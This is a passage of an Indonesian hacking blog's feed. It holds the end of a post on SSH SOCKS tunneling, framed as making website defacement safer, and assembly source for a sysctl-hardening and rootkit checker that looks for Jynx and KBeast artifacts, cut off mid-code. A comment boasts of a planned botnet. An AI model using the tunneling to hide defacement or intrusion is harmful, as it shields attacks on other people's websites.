&lt;br /&gt;Have a lot of fun...&lt;br /&gt;sh-3.1# &lt;br /&gt;====================================&lt;br /&gt;&lt;br /&gt;jika berhasil maka akan listen di lokal port 3339:&lt;br /&gt;========&lt;br /&gt;root@ev1lut10n-Vostro1310:~/backupan_g# netstat -a | grep 3339&lt;br /&gt;tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 localhost.localdom:3339 *:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;tcp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 ev1lut10n-Vostro13:3339 [::]:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;========&lt;br /&gt;&lt;br /&gt;selanjutnya untuk tunneling buka firefox dan pilih menu:&lt;br /&gt;edit -&amp;gt; preferences -&amp;gt; advanced -&amp;gt; network -&amp;gt; setting -&amp;gt; pilih manual proxy configuration &lt;br /&gt;lalu isikan sock v 5 dengan alamat localhost dan port 3339 (port yang tadi)&lt;br /&gt;(untuk yang di windows menunya beda)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-dEfrmaH03i4/T0jrnT-VngI/AAAAAAAAA6I/5_SQ-KBJnCA/s1600/sock.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-dEfrmaH03i4/T0jrnT-VngI/AAAAAAAAA6I/5_SQ-KBJnCA/s1600/sock.jpg" width="620" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;jika berhasil maka silahkan buka web ini dengan firefox agan2&lt;br /&gt;&lt;br /&gt;http://whatismyip.org/&lt;br /&gt;&lt;br /&gt;maka alamat ip agan 2 akan berganti menjadi alamat ip server yg agan pake buat tunneling.&lt;br /&gt;&lt;br /&gt;sekian dan terima kasih&lt;br /&gt;&lt;br /&gt;regards&lt;br /&gt;ev1lut10n&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-6646788031683727867?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6646788031683727867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6646788031683727867'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/ssh-tunneling-di-linux-socks-untuk.html' title='SSH tunneling di linux (socks) untuk proksi biar kegiatan deface2 lebih aman'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-dEfrmaH03i4/T0jrnT-VngI/AAAAAAAAA6I/5_SQ-KBJnCA/s72-c/sock.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-5364581124104957559</id><published>2012-02-21T16:02:00.003-08:00</published><updated>2012-02-21T16:15:50.633-08:00</updated><title type='text'>merikenin.asm - Merikenin TCP/IP Stack Hardening and Basic Rootkit Checker version 1.0</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Egeagyp2xxE/T0Qvz4bkG-I/AAAAAAAAA6A/kAMisKUaP88/s1600/jasaplus.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-Egeagyp2xxE/T0Qvz4bkG-I/AAAAAAAAA6A/kAMisKUaP88/s1600/jasaplus.jpg" width="620" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;;gopher://sdf.org/0/users/wisdomc0/code_asm/merikenin.asm&lt;br /&gt;&lt;br /&gt;;merikenin.asm - Merikenin TCP/IP Stack Hardening and Basic Rootkit Checker ;version 1.0 &lt;br /&gt;;The programmer : ev1lut10n &lt;br /&gt;;dedicated to Merikenin &lt;br /&gt;;thanks to : X-hack,Danzel,Superman,Cakill, nofia fitri,Dedy, Chaer, Paulus ;gandung,Tian,Zendy,Hendra, Wenkhairu and all my bro and friends &lt;br /&gt;;current big project : "Making a linux botnet and windows botnet that can work ;synergy (my own idea)" &lt;br /&gt;;website : http://www.jasaplus.com &lt;br /&gt;;gopher://sdf.org/1/users/wisdomc0 &lt;br /&gt;section .bss &lt;br /&gt;pilih_on_heap resb 6 &lt;br /&gt;file: resd 1 &lt;br /&gt;section .data &lt;br /&gt;t00lname db ".::Merikenin TCP/IP Stack Hardening and Basic Rootkit Checker::.",13,10 &lt;br /&gt;pjg_t00lname equ $-t00lname &lt;br /&gt;c0d3r db "c0der : ev1lut10n",13,10 &lt;br /&gt;pjg_c0d3r equ $-c0d3r &lt;br /&gt;g0tr00t db "we got root access",13,10 &lt;br /&gt;pjg_g0tr00t equ $-g0tr00t &lt;br /&gt;n0tr00t db "we dont have root priv,sorry y0u can not use this t00l baby",13,10 &lt;br /&gt;pjg_n0tr00t equ $-n0tr00t &lt;br /&gt;;define jynx rootkit checker &lt;br /&gt;jynx_ld_preload_poison_string db "ld_poison.so",0x00 &lt;br /&gt;jynx_ld_preload_so_path db "/etc/ld.so.preload",0x00 &lt;br /&gt;;define haxpath checker for kbeast lkm &lt;br /&gt;_H4X_PATH_ db "/usr/_h4x_",0x00 &lt;br /&gt;;software menu &lt;br /&gt;m3nu1 db "sys1 - Enable source validation by reversed path ",13,10 &lt;br /&gt;pjg_m3nu1 equ $-m3nu1 &lt;br /&gt;m3nu2 db "sys2 - Enable TCP Syn Cookies (protection against syn attack)",13,10 &lt;br /&gt;pjg_m3nu2 equ $-m3nu2 &lt;br /&gt;m3nu3 db "sys3 - Ignore ICMP Echo Broadcast Requests",13,10 &lt;br /&gt;pjg_m3nu3 equ $-m3nu3 &lt;br /&gt;b0nus db "Some bonuses functions :" &lt;br /&gt;pjg_b0nus equ $-b0nus &lt;br /&gt;m3nu5 db "rkc1 - Checking Possible Jynx LD_Preload Rootkit",13,10 &lt;br /&gt;pjg_m3nu5 equ $-m3nu5 &lt;br /&gt;m3nu6 db "rkc2 - Checking Possible Kernel Beast",13,10 &lt;br /&gt;pjg_m3nu6 equ $-m3nu6 &lt;br /&gt;m3nu7 db "quit - quit this t00l",13,10 &lt;br /&gt;pjg_m3nu7 equ $-m3nu7 &lt;br /&gt;;eof software menu &lt;br /&gt;c0ns0l3 db "cmd:" &lt;br /&gt;pjg_c0ns0l3 equ $-c0ns0l3 &lt;br /&gt;pilih&amp;nbsp; db "%s", 0 &lt;br /&gt;teks_continue db "/etc/ld.so.preload found beware !",13,10 &lt;br /&gt;pjg_teks_continue equ $-teks_continue &lt;br /&gt;teks_dont_continue db "No /etc/ld.so.preload found ! Seems like clean",13,10 &lt;br /&gt;pjg_teks_dont_continue equ $-teks_dont_continue &lt;br /&gt;&lt;br /&gt;teks_continuex db "/usr/_h4x_ found !&amp;nbsp; You're being infected",13,10 &lt;br /&gt;pjg_teks_continuex equ $-teks_continuex &lt;br /&gt;teks_dont_continuex db "No /usr/_h4x_ found ! Seems like clean",13,10 &lt;br /&gt;pjg_teks_dont_continuex equ $-teks_dont_continuex &lt;br /&gt;&lt;br /&gt;section .text &lt;br /&gt;global _start &lt;br /&gt;_start: &lt;br /&gt;;jmp _merikenin_sysc &lt;br /&gt;jmp long _merikenin_start &lt;br /&gt;&lt;br /&gt;;starting jynx rootkit checking routine &lt;br /&gt;_merikenin_jynx: &lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;call the_cek &lt;br /&gt;mov ebx,jynx_ld_preload_so_path &lt;br /&gt;int 0x80 &lt;br /&gt;&lt;br /&gt;mov dword [file],eax &lt;br /&gt;cmp dword [file],0 &lt;br /&gt;jle dont_continue &lt;br /&gt;je continue &lt;br /&gt;&lt;br /&gt;mov esp,ebp&amp;nbsp; &lt;br /&gt;pop ebp &lt;br /&gt;&lt;br /&gt;continue: &lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;mov ecx,teks_continue &lt;br /&gt;mov edx,pjg_teks_continue &lt;br /&gt;call _merikenin_writeln &lt;br /&gt;jmp long _merikenin_out &lt;br /&gt;mov esp,ebp&amp;nbsp; &lt;br /&gt;pop ebp &lt;br /&gt;&lt;br /&gt;dont_continue: &lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp &lt;br /&gt;&lt;br /&gt;mov ecx,teks_dont_continue &lt;br /&gt;mov edx,pjg_teks_dont_continue &lt;br /&gt;call _merikenin_writeln &lt;br /&gt;jmp long _merikenin_out &lt;br /&gt;mov esp,ebp&amp;nbsp; &lt;br /&gt;pop ebp &lt;br /&gt;&lt;br /&gt;the_cek: &lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp &lt;br /&gt;mov eax,5 &lt;br /&gt;xor ecx,0 &lt;br /&gt;mov edx,0x100 &lt;br /&gt;mov esp,ebp&amp;nbsp; &lt;br /&gt;pop ebp &lt;br /&gt;ret &lt;br /&gt;&lt;br /&gt;;eof jynx rootkit checking &lt;br /&gt;&lt;br /&gt;;start ipsecs kbeast checking &lt;br /&gt;_merikenin_ipsecs: &lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx &lt;br /&gt;call the_cek2 &lt;br /&gt;mov ebx,_H4X_PATH_ &lt;br /&gt;int 0x80 &lt;br /&gt;mov dword [file],eax &lt;br /&gt;cmp dword [file],0 &lt;br /&gt;jle dont_continuex &lt;br /&gt;je continuex &lt;br /&gt;&lt;br /&gt;mov esp,ebp&amp;nbsp; &lt;br /&gt;pop ebp &lt;br /&gt;&lt;br /&gt;continuex: &lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp &lt;br /&gt;mov ecx,teks_continuex &lt;br /&gt;mov edx,pjg_teks_continuex &lt;br /&gt;call _merikenin_writeln &lt;br /&gt;jmp long _merikenin_out &lt;br /&gt;mov esp,ebp&amp;nbsp; &lt;br /&gt;pop ebp &lt;br /&gt;&lt;br /&gt;dont_continuex: &lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp &lt;br /&gt;mov ecx,teks_dont_continuex &lt;br /&gt;mov edx,pjg_teks_dont_continuex &lt;br /&gt;call _merikenin_writeln &lt;br /&gt;jmp long _merikenin_out &lt;br /&gt;mov esp,ebp&amp;nbsp; &lt;br /&gt;pop ebp &lt;br /&gt;&lt;br /&gt;the_cek2: &lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov ebp,esp &lt;br /&gt;mov eax,5 &lt;br /&gt;xor ecx,0 &lt;br /&gt;mov edx,0x100 &lt;br /&gt;mov esp,ebp&amp;nbsp; &lt;br /&gt;pop ebp &lt;br /&gt;ret &lt;br /&gt;&lt;br /&gt;;eof ipsecs kbeast checking &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;getpriv.s &lt;br /&gt;_merikenin_pr3p4r3_0pt: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebx &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push esi &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push edi &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;_merikenin_get_privilege: &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov eax, 18h &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push eax &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int 80h &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp al,0 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jz _merikenin_g0tr00t &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp _merikenin_n0tr00t &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp, ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;;eof getpriv.s &lt;br /&gt;_merikenin_g0tr00t: &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,g0tr00t &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_g0tr00t &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call _merikenin_writeln &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp, ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp _merikenin_jmpmania &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;_merikenin_n0tr00t: &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ebp,esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,n0tr00t &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_n0tr00t &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call _merikenin_writeln &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp,ebp&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp _merikenin_out &lt;br /&gt;&lt;br /&gt;_merikenin_writeln: &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov ebp,esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov ebx,0x1 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov eax,0x4 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; int 80h &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;;mov ah,09h &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;;mov dx,offset str1ng &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;;int 21h &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov esp,ebp&amp;nbsp; &lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; pop ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; ret &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_merikenin_banner: &lt;br /&gt;push ebp &lt;br /&gt;mov ebp,esp &lt;br /&gt;mov ecx,t00lname &lt;br /&gt;mov edx,pjg_t00lname &lt;br /&gt;call _merikenin_writeln &lt;br /&gt;&lt;br /&gt;mov ecx,c0d3r &lt;br /&gt;mov edx,pjg_c0d3r &lt;br /&gt;call _merikenin_writeln &lt;br /&gt;mov esp,ebp &lt;br /&gt;pop ebp &lt;br /&gt;ret &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_merikenin_do: &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov eax, 11 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int 80h &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;ret &lt;br /&gt;&lt;br /&gt;_merikenin_net.ipv4.icmp_echo_ignore_broadcasts_1: &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; 0xb &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop&amp;nbsp;&amp;nbsp;&amp;nbsp; eax &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x313d&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;=1 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x73747361&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;stsa &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6364616f&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;cdao&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x72625f65&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;rb_e &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x726f6e67&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;rong &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x695f6f68&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;i_oh &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x63655f70&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;ce_p &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6d63692e&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;mci. &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x34767069&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;4vpi &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x2e74656e &amp;nbsp;&amp;nbsp; &amp;nbsp;; .ten &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; esi,esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; 0x772d ;w- &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x6c746373 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x79732f6e &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x6962732f &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,esp &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; esi &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; ecx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; ebx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp,ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp long _merikenin_out &lt;br /&gt;&lt;br /&gt;_merikenin_net.ipv4.tcp_syncookies_1: &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; 0xb &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop&amp;nbsp;&amp;nbsp;&amp;nbsp; eax &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x2031&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;1 &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x3d736569&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;=sei &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6b6f6f63&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;kooc &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6e79735f&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;nys_ &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x7063742e&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;pct. &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x34767069&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;4vpi &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x2e74656e &amp;nbsp;&amp;nbsp; &amp;nbsp;; .ten &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; esi,esp &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; 0x772d ;w- &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx &lt;br /&gt;&amp;nbsp;&amp;nbsp; 